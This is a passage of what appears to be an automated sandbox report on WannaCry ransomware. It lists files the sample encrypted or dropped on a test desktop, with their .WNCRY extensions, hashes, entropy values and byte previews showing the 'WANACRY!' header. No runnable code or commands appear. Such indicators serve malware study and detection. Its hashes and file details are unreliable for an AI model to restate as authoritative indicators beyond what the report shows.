                                                                                                      Preview:WANACRY!.....X.....`"ZUz....vC......l..s......._.U....8...*.f.g%."....S.m...{..+.^.u.6{...w?2..\gNCX....a..zvF......8..BU%s......X.T..I.."VD...Tha...8.....v.L.`w.~..\h.m.....EE:..:X....\..;i.7..E./.6.h.E.&..S.p..V.n....i...4..,d.,T)......x)...P...-....K.t.....................u.C.Q..DJE.h<.e....8..%.....9...#7D......F6....6......h....*[>.=*."..F.b....L.a.d.kV]...D..6.|>.lq.P}...}I._.G.:.....q.X$.`..M..H..I....%..f...L.`..I'..y.7<).RA...v.......#.nH..(.....pO....[a..l....n..2.N.s64..........d....>...ktc>L..\.C~..B8_\.bfK&O.{WP`.aNf.N..F)".....l..t..4j.V.<u..<.-..T\.O#.v|.Ra..B. ..%..j...2L.n.B.....$M..9....xzH......7yA....mX....Q.f.Q.i3..n......88U..7].z^3..?`.....u.|o.Y....W&. :.KT_..MG.[tvV2..........y^...@...kb.].......F@nU..M.K..*.\Q15..~...?..6X..V.1f )....G..J.!........*U.D.Y...ui:....o...D..a.Cq.%.G.,heH..E....,..]...XY....^.o.u$....d....WB...\iK.....;.b~tK.W.m....t..!&.Tb2y..u.i.s..rf.xZLtE<...V.n.^...r.....c.k..+?..PX.xJ\j../Q.&.NSk..SeA...

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\GIGIYTFFYT.mp3

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.7957014124957125
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:Pe+zDMH0yeNEubQvMkZYGXlmkZqlR1v+lh5Xqwa9:nzDMUyeuwQvMkZYGPZqn1GXqwG
                                                                                                      MD5:475CB52009ABD9CF5EA8A9FD25C318DD
                                                                                                      SHA1:51F5E65C97D89C2D675516290FB53CE81EFA8549
                                                                                                      SHA-256:98FEC923049E9573106264AD05EE9B3DF12C82A429DE07C706D08167E34712B9
                                                                                                      SHA-512:4E01589E1EAF120049FB9CBCA8082FB4839E2B654017C69C13DEF4DF32E5CE81D58593013A16F7510D17DC71471E46C3924CF20445D0C523FF936589E7D4598D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:C.sU.I..!..Z..-...7.:.....4^R..x.@....=.S.>V.....Q!.......^K....U.........<..?.W:..}R.).i.....p....82..w.........c:...[_i.......n..l.z....d....9d....R.B..fU..-....`..n.d.....I...;..9_..a......3Qk...[........yr...a?...E.d.z...F9.0.>.......Ry.WXY5.L...3=_.W.1.$~r..tk....j.>./..7O#..#.....Tv..{^S$E5...WK.o.....c.LX-...^d\...&.x.].J...*{..%2GI...$...<...`.9r..H...m9...b..4.o......9=.<9..U.Krm..$El.'...k..T.7..a'.."....!~......x............)..Q.6."7]Q....{..]....+w"...2...>...dr&F..c.4..}....4...zG.X.)t.v&...<..jx.?[&..i.n....:.GL..._&.F7y. ..I.C..^A..9...H.ho>./...r._..b.....=7.|."j...o..}...>N..Kx..ed7.....mU..q....b.vhU.M....m...z....N'yL.5...G....kh..._*...m.?`..].z..>Z..3$..w.|.../...c.']08...];...Va.Tk..a{2d.0.]y.tF.9.SC....Db8..V.._..k........O.GG..;.uS..t..;.....Z.@...p.....k.....+.|..R.....Nt.M<.....%...+...(.~..wR.J.z.8._..N.....t......,..j....DZ.;.R.3...t.e......9.....f..g.;{.6..$HV.O.x..n.M.......H~.A..#Eh.k....*....#...(.lQ..

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\GIGIYTFFYT.mp3.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.84354061956181
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkvSpsgiryoF22jFAniizXoms/Du/CdE2/ST5+21uxIwqVVpx3B9IqYZt:bkvSpsg5/2jFuhXvs/DzPSo3GV1f9Yz
                                                                                                      MD5:78334CFCB9323A714B75522D941495A3
                                                                                                      SHA1:05D1BE753A3B6F4B76C986C4AE7EC9C27C658B96
                                                                                                      SHA-256:FB07DA246718FD17200A8BB307EE19BF131962327F8A2AFB1FF572256FCD3727
                                                                                                      SHA-512:004B7E97FD6525E292DC2D190710F5AAB53D208A90D7B2F36249AD4BE1CA883475D8E9964ACFEFD54A3FF6D5E0E407DB6121642B74DB2579EE60B9B4220317E1
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......2;....HV....8...,.j#.N..0.a}{..."*.:....F!.. Iy....o.4..G......8..).c....v.,J"..B.BT.80..R.'..k..$..+.@("v...p.<0 `AP#..H..@..3.h,..H...R.~p.%.v'......L.T.+M......."../8.*.ZP..F ...E.49..wF.`.y..F.....Ah...?.b...6..6...w.......iw...&.[.G.AT................i.%.]....c@.I.F......tx..Z.}..,'..>..1.*....%,b..e].FI+.Q.5..P..F...I..Yw..M..............t.....@.|'.K..B.......W#.d.......T...?..X.\a?..V{Y..oq.K.z}2.\...\.....3....8a.it.......l.....t_..G..g/2...w.=d....\..J..s..Z..,.9.4..Jdb<.tH.....Qr.:..*4./.....F(.:z,.S.vz^......`.q.y.d.b........(.e...l+.3..eL.n......,....e,....?D.....0".M..$..7.Ao.. ..P...;y.....Hb.I.f5.^L.n.s...I..E.....r.|iA..z......<..x.Ag.E...HAHp...j&..,..8....-79.A).B..Q.:$,e.....Z..)..6...a..........E........Fh.PW.&.fV.D7.t......3)....-.fKlE.!...J.....0.....dL1......z^ ..{.l.a.LS.M.......6..v"....c...)(M.^.v....|..#...<..;.jVu*`....VY/3$5c....@&.1.uz....*.y..\R............8....[..1pl%..q....t.2.#.MX..?

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\GIGIYTFFYT.mp3.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.84354061956181
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkvSpsgiryoF22jFAniizXoms/Du/CdE2/ST5+21uxIwqVVpx3B9IqYZt:bkvSpsg5/2jFuhXvs/DzPSo3GV1f9Yz
                                                                                                      MD5:78334CFCB9323A714B75522D941495A3
                                                                                                      SHA1:05D1BE753A3B6F4B76C986C4AE7EC9C27C658B96
                                                                                                      SHA-256:FB07DA246718FD17200A8BB307EE19BF131962327F8A2AFB1FF572256FCD3727
                                                                                                      SHA-512:004B7E97FD6525E292DC2D190710F5AAB53D208A90D7B2F36249AD4BE1CA883475D8E9964ACFEFD54A3FF6D5E0E407DB6121642B74DB2579EE60B9B4220317E1
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......2;....HV....8...,.j#.N..0.a}{..."*.:....F!.. Iy....o.4..G......8..).c....v.,J"..B.BT.80..R.'..k..$..+.@("v...p.<0 `AP#..H..@..3.h,..H...R.~p.%.v'......L.T.+M......."../8.*.ZP..F ...E.49..wF.`.y..F.....Ah...?.b...6..6...w.......iw...&.[.G.AT................i.%.]....c@.I.F......tx..Z.}..,'..>..1.*....%,b..e].FI+.Q.5..P..F...I..Yw..M..............t.....@.|'.K..B.......W#.d.......T...?..X.\a?..V{Y..oq.K.z}2.\...\.....3....8a.it.......l.....t_..G..g/2...w.=d....\..J..s..Z..,.9.4..Jdb<.tH.....Qr.:..*4./.....F(.:z,.S.vz^......`.q.y.d.b........(.e...l+.3..eL.n......,....e,....?D.....0".M..$..7.Ao.. ..P...;y.....Hb.I.f5.^L.n.s...I..E.....r.|iA..z......<..x.Ag.E...HAHp...j&..,..8....-79.A).B..Q.:$,e.....Z..)..6...a..........E........Fh.PW.&.fV.D7.t......3)....-.fKlE.!...J.....0.....dL1......z^ ..{.l.a.LS.M.......6..v"....c...)(M.^.v....|..#...<..;.jVu*`....VY/3$5c....@&.1.uz....*.y..\R............8....[..1pl%..q....t.2.#.MX..?

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\GRXZDKKVDB.xlsx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.790831405184282
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ZZFbmQhbeJ11WlHdi9fxEX7YeWx9PI15yX7uz0U0baP+q+l0:LBP9y1YlgtqLDW7PA4CjP+z0
                                                                                                      MD5:68474C145B2CBB23CBB37053F4AB6362
                                                                                                      SHA1:ED22DC6F026C5C07CBDB1A876D987B26A47E6996
                                                                                                      SHA-256:FC0CC70F479C4288669DB12D70AC13EF42AEB33615A2AE08546029821856D396
                                                                                                      SHA-512:9ED5C93AC0CB7C5117893EB833F6E1742CB187D4B8F5257A59201BA23019C3A905C4602339D777C940311FB64332E02F538D59306B25D65D3A3C797C9DDC178C
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.Y.!?....;6....iCR..J6...ju....n.......cI.Q......W.7..'.....j...)..4v........H.l.."CR...8..8\.y......Bu.%.t.W..m#..BH.....\......Y.g.I.t.5.J.#......*...a.l...vT...x.@Eg...C...~.u.n...S`I..T......s4.m...D.....;.)....m....|.;.....A.]F}.}c..=@9...{.H.V..a....o......W..F......?..@./.X.Js{..Q{'..s.J'.p..Q....@.h..4.i\M.:.......([b..5..j"O.....,.Z.Y....*[.*.jm...<u~;.. d..N.)......j^.B.MA+6...%FD....tMjc.0i..]C...c.{ON.KE.F..8Vi.9&j8....n_P...4.......M.E.!Wq...P..T.C..v..~..q...xI)xu.%.,...../E.e.j.#1......3{.....r?.......rqw..s.2.d...N...P'........@{...D.?..WKGECl"q.)..qk.4\.T.....]T:...w#...zD.....{.j........~.T.G......W..[6.{....")#.........T...#yQ.s.j... ..3...5v w...6u}....4........*K..).U@..d....c....21v.\..`c{f.Y9.F...j.....aV\Lk_..?w"rAD....r..q......PY5~.X......WK..c<v0...B.\....B..Q.....u..qS......6..d.k.jGl....0b..2..#.#)....w........?.K.".H.o~0..i......@.......).......2...rNdU..}..n'.....(d.f.&>.J)[;_M..s./.(-.E.....5...A.8

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\GRXZDKKVDB.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.849008814994004
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkK4h5njGIHGnH6YbuMFoBsISnOJLXszpV0on88Zi9A0yJhUf8:bkRh5jGtHvSMFdISOJLCVbn8g6AbUE
                                                                                                      MD5:7F1EC5F354459F2AB3954C508FC18A4F
                                                                                                      SHA1:5332160D0315E97B394B9AB038311F72CD01AD89
                                                                                                      SHA-256:6A105C9034DA7503FDB0AF15A785E52CB8A00E81AB80B68FC357D2807CFE195C
                                                                                                      SHA-512:356BF215FC67B2979BCAEA0F33A0E1C3E76C6422B7AA10D87C2D432FA07718B7B6919DFB47C64B761DC24D6BEA5BD35562ECC7193DF5393B5356F220484C2865
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....=aK.y*.......=^...q......l.#....C.)..|..*......P..^.@T...!.v);../".f.?VI.,[OM.....y.....p{......E.4>.y...w.k.`ss...$...)-.IA....A.e........2I!...........,...;Vc......S.....-y...S..,...z.`......F.......?.dQ.H.......yY@.r.w..!.C..>/d.9v..~...............J...."....O..[Wo.......L.......?..p/&cECi.2...X..S1.$pS..&./<...i...?.y\....p..\.ah..T...`.C..8.4.....t.E}i..jG.`.Z..E..Z.aM...c._...t.....N......,.:..>..2.P...>...Q4x[..b......xJ..M$..+.1.a}J..Bh..l2.^..t.....Z$.AP...rX.|b.Tu..r.^..=.......}.8..j%...g=8J&NAG.3G...w..A...g-.Q'zTA.-.....O....`7...1.4..m.m.Q..V........:..|...a...&Jl"X,.......=...IdWY...Zy(.........m.f~.=.....%.f.9....A.3hPO.1.29..~!YK.H]KB..x...P..-~E.H.w..+].3...Y.0OK[Pb...........d...P........\...Kp.s......(..x....m.A.okj..n..^. !#d@q.L...K.[c6.x..}..CL!.t=.....&.Y.-...u.2X....x.M......5A.Yx.....zg;L..|..s..P?..m\.'....r.....i..6.rq......u.C?..\..S....s>f:kb..........G.K7..h.....9K..!..*O..2.V.Y..X}G!,.-2

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\GRXZDKKVDB.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.849008814994004
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkK4h5njGIHGnH6YbuMFoBsISnOJLXszpV0on88Zi9A0yJhUf8:bkRh5jGtHvSMFdISOJLCVbn8g6AbUE
                                                                                                      MD5:7F1EC5F354459F2AB3954C508FC18A4F
                                                                                                      SHA1:5332160D0315E97B394B9AB038311F72CD01AD89
                                                                                                      SHA-256:6A105C9034DA7503FDB0AF15A785E52CB8A00E81AB80B68FC357D2807CFE195C
                                                                                                      SHA-512:356BF215FC67B2979BCAEA0F33A0E1C3E76C6422B7AA10D87C2D432FA07718B7B6919DFB47C64B761DC24D6BEA5BD35562ECC7193DF5393B5356F220484C2865
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....=aK.y*.......=^...q......l.#....C.)..|..*......P..^.@T...!.v);../".f.?VI.,[OM.....y.....p{......E.4>.y...w.k.`ss...$...)-.IA....A.e........2I!...........,...;Vc......S.....-y...S..,...z.`......F.......?.dQ.H.......yY@.r.w..!.C..>/d.9v..~...............J...."....O..[Wo.......L.......?..p/&cECi.2...X..S1.$pS..&./<...i...?.y\....p..\.ah..T...`.C..8.4.....t.E}i..jG.`.Z..E..Z.aM...c._...t.....N......,.:..>..2.P...>...Q4x[..b......xJ..M$..+.1.a}J..Bh..l2.^..t.....Z$.AP...rX.|b.Tu..r.^..=.......}.8..j%...g=8J&NAG.3G...w..A...g-.Q'zTA.-.....O....`7...1.4..m.m.Q..V........:..|...a...&Jl"X,.......=...IdWY...Zy(.........m.f~.=.....%.f.9....A.3hPO.1.29..~!YK.H]KB..x...P..-~E.H.w..+].3...Y.0OK[Pb...........d...P........\...Kp.s......(..x....m.A.okj..n..^. !#d@q.L...K.[c6.x..}..CL!.t=.....&.Y.-...u.2X....x.M......5A.Yx.....zg;L..|..s..P?..m\.'....r.....i..6.rq......u.C?..\..S....s>f:kb..........G.K7..h.....9K..!..*O..2.V.Y..X}G!,.-2

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\NVWZAPQSQL.docx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.843173277452896
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:cbLanNktdpGj0HcNn05mKrETnXVL3YDOMFKmvd:qmnNktWN05mKrSXVL3YDPvd
                                                                                                      MD5:1C676CE2E9BFCBFB9E8FE2DADF4BDE62
                                                                                                      SHA1:290EB17091DBD6C64813BF5297B2BD6E88F977B6
                                                                                                      SHA-256:722E03D38812B6FA042F6A264DD047BD3969790098B2CA0711A47889C956C080
                                                                                                      SHA-512:E825136B04340BFDB22E80B7D0FF306820243B01DA0B71E89BFBA05CDB8713FC71CD1817FD5F8341FEBAC2978569FB9B8B235FFC613C1AE568CB05D542C43789
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:...M.0.Or.....9..n{.......|. .}....] ...O.Yb......>..G9..\......N.....-.z<.........;..\....x.5y..@....(<..!..bl....Q..'fFn.X....7.U....UW.zH..ru.:..X..edH.9....`v;...........%.S.....N.vJPa.P.jvg.....}...9=..u.5.\.7h.I.X.'.W.B.*...jT.5....s...y_..........pb...(uC.C.$...F....?p..n.s.a.{.0..........C5.?d@s...2@...EVl.J3.!.. ..f.jD...f.........i.i.0........4.E........)........ZO.Sx.k6....m..]W.R....x..y.=.Z........:pRR..)..s...(....d.....I...S..4B..D.KN-T.....q.....k.@&.:..1..0..i...U.@..W:.. .Zn.X...}..6.9.>.'U...J...K|..p...........-k..T%Y..R.......N..s(.=...E.4...._G....\..HP..1..z.p.$\..E..G.2....Ku.hz....p........q...\..F.R..@..A..E...z:.h...b..7..`.4A....S.ZgDocG...v...f..g..U.....G~..G[[..2.."p;oK....hL....b.?c...j^..R........=./.R..ixd.#...HB.U......`.r...T..l...{.=....Q......`.I.....k.....'28....@IB..'h..7.v.4..'...F1.x..?........."B.....C.%.=.a.q.a9..D...mX.....i.|{.E..../........NWI...$......245$..7..ta.v?c.4r......F2..~?.

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\NVWZAPQSQL.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.83930709688805
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkAK/NHIKjyWrukUSFuoWKDhBmuEg9EmBEPV3bQCP1u6RPU:bk3VPXfFJtBEmt63bXP1u6RPU
                                                                                                      MD5:D576C46C1229E5D863158A181EAF48CB
                                                                                                      SHA1:D971CDBC5795511739D707F4356AFA7D5F8A7D5F
                                                                                                      SHA-256:56C7DBD9C08B5D285AC76E835A392FD17655351AF01505A8F8AA6B4C81548C22
                                                                                                      SHA-512:7334ED47477642C790B3EBC937A2870FA5A9A986B0D2472C6FEA60DF4690EB94B762CE4D2A42673A18AF4E89FF04ED45B095E325B3D347B456754F308C86F617
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......h.&...S..].A...L\F6.....A....+M.n.....eb.b.....T'.+G.%O3..:.h....2...4..7nl."..].8..8.[.....K.f.I..U..,..q.....w....>.N..L....CL. ..........n.Mh=..I.g<2..z..&......V...d..hW.....r..$&..}>...1..-,i..q..$g..c..]o..co.'g.3:~R..i....o.0.....2..yD................(Q.......^F.....%. .1F.h..9..U.2..Q.+..<.:.[q.....s.(.G.........;..Ss...|.=_........%U.ok..bM.........J....k....TJ..=..b...t..B.w..n..?}8e.v..a..{.Gt..ue.R0y.#=(7-sY.$..9...7.'...A.4.\..-../V'0..VA........0.t9.'..z.^..:w.J.)...^.J...F..M.x'.o...4..8.hn5yS6R..q..G..@...=.j].D/o..'...1....z..?.Z}.8l..s....C....O....i.qD.`.mQZ..2.r.B..z....._N.j...v3yq<......1..Q.:..I}.....%..._..7.J.j.N.Z...(>z...!.m.....zS.8.p@..w7..qO.........B..8tS...#.syD..?U..n.\.Qe<...5-f%.G......0..(....z.T}U3.>...pw,..q0.y:=G%Hx.5..S..M0y>.q1...X.+.K=..... w..3H...K.....z.._..9`.F....tM.....Fu...*......'.!.^.....Q.../.WD.LEf.....(.4..u.]B../...]o..JX.2..l.N..\nzK...b[..{~.:....L....I.@...I.^.........

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\NVWZAPQSQL.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.83930709688805
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkAK/NHIKjyWrukUSFuoWKDhBmuEg9EmBEPV3bQCP1u6RPU:bk3VPXfFJtBEmt63bXP1u6RPU
                                                                                                      MD5:D576C46C1229E5D863158A181EAF48CB
                                                                                                      SHA1:D971CDBC5795511739D707F4356AFA7D5F8A7D5F
                                                                                                      SHA-256:56C7DBD9C08B5D285AC76E835A392FD17655351AF01505A8F8AA6B4C81548C22
                                                                                                      SHA-512:7334ED47477642C790B3EBC937A2870FA5A9A986B0D2472C6FEA60DF4690EB94B762CE4D2A42673A18AF4E89FF04ED45B095E325B3D347B456754F308C86F617
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......h.&...S..].A...L\F6.....A....+M.n.....eb.b.....T'.+G.%O3..:.h....2...4..7nl."..].8..8.[.....K.f.I..U..,..q.....w....>.N..L....CL. ..........n.Mh=..I.g<2..z..&......V...d..hW.....r..$&..}>...1..-,i..q..$g..c..]o..co.'g.3:~R..i....o.0.....2..yD................(Q.......^F.....%. .1F.h..9..U.2..Q.+..<.:.[q.....s.(.G.........;..Ss...|.=_........%U.ok..bM.........J....k....TJ..=..b...t..B.w..n..?}8e.v..a..{.Gt..ue.R0y.#=(7-sY.$..9...7.'...A.4.\..-../V'0..VA........0.t9.'..z.^..:w.J.)...^.J...F..M.x'.o...4..8.hn5yS6R..q..G..@...=.j].D/o..'...1....z..?.Z}.8l..s....C....O....i.qD.`.mQZ..2.r.B..z....._N.j...v3yq<......1..Q.:..I}.....%..._..7.J.j.N.Z...(>z...!.m.....zS.8.p@..w7..qO.........B..8tS...#.syD..?U..n.\.Qe<...5-f%.G......0..(....z.T}U3.>...pw,..q0.y:=G%Hx.5..S..M0y>.q1...X.+.K=..... w..3H...K.....z.._..9`.F....tM.....Fu...*......'.!.^.....Q.../.WD.LEf.....(.4..u.]B../...]o..JX.2..l.N..\nzK...b[..{~.:....L....I.@...I.^.........

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\PALRGUCVEH.pdf

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.811379819238261
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:YUQRbB7PeAc6w6XtZnmw1toqxP/gQhSVQxkWvFn/M:YU2tltpx/gQYVQE
                                                                                                      MD5:FDE9720D8F5DFCE3EA923BE80A5A2124
                                                                                                      SHA1:E751AD481BF11CB48ECF97B04C4EC643E9941FB5
                                                                                                      SHA-256:446FA0A9C0FD0E2900F9A02F587DB462DDCFC68F66633573EFFD2B02D8BFB620
                                                                                                      SHA-512:D332692E75D4B125E1660B55FE9B837318C1E5C75C96F1E76250344FBE8E617270C8F3B738DB7E64CE8CA9882AE752B5801BF3202E628A75190EC8DBF05F89C7
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:c.K...........2.sf.N}....~.....9.4."...v^=G...,.Kq1.....*.qE.....f9.l.*@............x..Jdj...@.F..o...$..?.E.C..Kk............+.~3...~bF....\....s..[}^].oG....(....Q..f(...eo.....8.I.'B.G#.......~.+..x..K.Z..s...i.H....s(...E)GiqFJ......'.Gz./..+\.'....l./..^.......3..`y3...M.2.-..../.....p.;.7,.}/7.s`oI PN.S&.C.=.JD.q.^...zk..O....LRt..*_.B..F4.:....;hA..Y.<)jx.-.&.Zk.G...v.N_....`.&.......\..6.H).e.X...%u:."#..q.t..&..K.8..S.i..g......^G`..QQI.G.E0.b;......|.bfw..z..[..J.D...........&..q.x@....l;t.`.,.U.>..^%.j.).f...a...s*..N9.........a../.0.3.....O.....y@9c.....83.J@&..S..#.;..1..E.?O.....(..c}..dH..A.+.......S.?..,u.V.A7N.-...!..$.L...lm.d..J80n.n..zhq.......,......"./&#..y.._...I'<0 P....X.x.9.....{..9.;.....W.*Qks....G.|...........3Pp..!\%....%..TZ..k...S"(.l...N.}A.....uh-...4.:v.i.K.B.'g..C.....H..'.....yC?....'I.k.....`..`.~..~.Z..|...;........N.#'.....40....Fq.1.........M..N.,.W..+..Z........l.*....p=.ck..fkR.!.1

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\PALRGUCVEH.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.838281553416523
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkMxbXDlFEJI8jiaK6SX4uBaSaiZ7Iyy/eu4WKHx3S7fl4HPuk4Paa13:bkMmJI8iJ6QkSDqfgZR3SxWP2aa13
                                                                                                      MD5:EA17F54908A69BA777E798263EA739D8
                                                                                                      SHA1:076B52FD045180A9266CC860C617AB2CA859FF6F
                                                                                                      SHA-256:2D57771DE34FE75E22A4953A7112E26E164C564191F363D0D4C1552204C0A9B5
                                                                                                      SHA-512:D737F702B00D88BC8FA7BBEE035FE81A7DE0346360A91C2451A297BF02C374054A4CB2C9C4A491FC2228B37C7F4E585A6570192C7C5F475F53897AAAFB35FAFE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....e/X@D...6....n.BK......p(o.o_,....]...k..=v.+.D.K..Uy.j9...Br?.....\.E..@(x..T..d.....u..r..t<....k..........O.............."}..5>..^......].!.|=............/Iv].^../....1]..8..!..1.N.<N..fx..W.U.o..B7u.....K..?f)w..7Y..`.80$..y4.BE..\.................a9..2HP....E...y.F. .....E......<y.RZ..L.......f......B$-iUw,....&.&.L....-..i...5.8a..j.!)(.j./..wo.t.hC.h.NZ....o.f.......Wem.U{.7.8......B..R.. ..`D.........g...F6..g...a....9?lZ.M+...Nk.(,.&.S..<..?..Z.gl.."..d..-;..$.6.&.Qx..LX..W7..l..8.....4..~..{..+..Q.bH...8Y...6.@.R..'..l....p!..^n.....v@3". Z.!..N..).....$.."S.])}.K.....G..{......M.6.o...U..Z...QR.,..C.jI.n7.yJ.5...S@Yw...*._c.....y...2....n6.4.e....3......70.9..p^..J..n.....>.....^O.q3&../4@.hK..o.3J..j>r2..@Dd_Y....p._...<O...?.>.a ..D\.".J$5.........a&../....:....F..rO.(.7.9u...Z....l.7,}.O.S8L....P.V..W./.P..M.....`.(g...k.V.C.[<.WSv.?i..2._....{'......."G#3!..q...a....(1:u..SOlP?Sz|%...$.X..rlUT.=.W...6.a."S.pg

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\PALRGUCVEH.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.838281553416523
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkMxbXDlFEJI8jiaK6SX4uBaSaiZ7Iyy/eu4WKHx3S7fl4HPuk4Paa13:bkMmJI8iJ6QkSDqfgZR3SxWP2aa13
                                                                                                      MD5:EA17F54908A69BA777E798263EA739D8
                                                                                                      SHA1:076B52FD045180A9266CC860C617AB2CA859FF6F
                                                                                                      SHA-256:2D57771DE34FE75E22A4953A7112E26E164C564191F363D0D4C1552204C0A9B5
                                                                                                      SHA-512:D737F702B00D88BC8FA7BBEE035FE81A7DE0346360A91C2451A297BF02C374054A4CB2C9C4A491FC2228B37C7F4E585A6570192C7C5F475F53897AAAFB35FAFE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....e/X@D...6....n.BK......p(o.o_,....]...k..=v.+.D.K..Uy.j9...Br?.....\.E..@(x..T..d.....u..r..t<....k..........O.............."}..5>..^......].!.|=............/Iv].^../....1]..8..!..1.N.<N..fx..W.U.o..B7u.....K..?f)w..7Y..`.80$..y4.BE..\.................a9..2HP....E...y.F. .....E......<y.RZ..L.......f......B$-iUw,....&.&.L....-..i...5.8a..j.!)(.j./..wo.t.hC.h.NZ....o.f.......Wem.U{.7.8......B..R.. ..`D.........g...F6..g...a....9?lZ.M+...Nk.(,.&.S..<..?..Z.gl.."..d..-;..$.6.&.Qx..LX..W7..l..8.....4..~..{..+..Q.bH...8Y...6.@.R..'..l....p!..^n.....v@3". Z.!..N..).....$.."S.])}.K.....G..{......M.6.o...U..Z...QR.,..C.jI.n7.yJ.5...S@Yw...*._c.....y...2....n6.4.e....3......70.9..p^..J..n.....>.....^O.q3&../4@.hK..o.3J..j>r2..@Dd_Y....p._...<O...?.>.a ..D\.".J$5.........a&../....:....F..rO.(.7.9u...Z....l.7,}.O.S8L....P.V..W./.P..M.....`.(g...k.V.C.[<.WSv.?i..2._....{'......."G#3!..q...a....(1:u..SOlP?Sz|%...$.X..rlUT.=.W...6.a."S.pg

                                                                                                      C:\Users\user\Desktop\PALRGUCVEH.mp3

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.802551950861727
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:Q8UPCudJQwQpa/vx7iRLyrkIEQm/XloRnCiGLgjaaEr/KKtB93SjXHeuVuQ7Lqzz:QRPCcQwQwhiRLy4IE7/XKSFaET93SjXy
                                                                                                      MD5:1EC6AD07A0DB8BD432247497F57BB6CA
                                                                                                      SHA1:172605D8C38DBCB16BC18DF5FCE0ED95EA1C36A2
                                                                                                      SHA-256:D562F97C75C8C3111AF1A0BBDBB2D84B32E941D2C4E425BCB314C7B54D4A4791
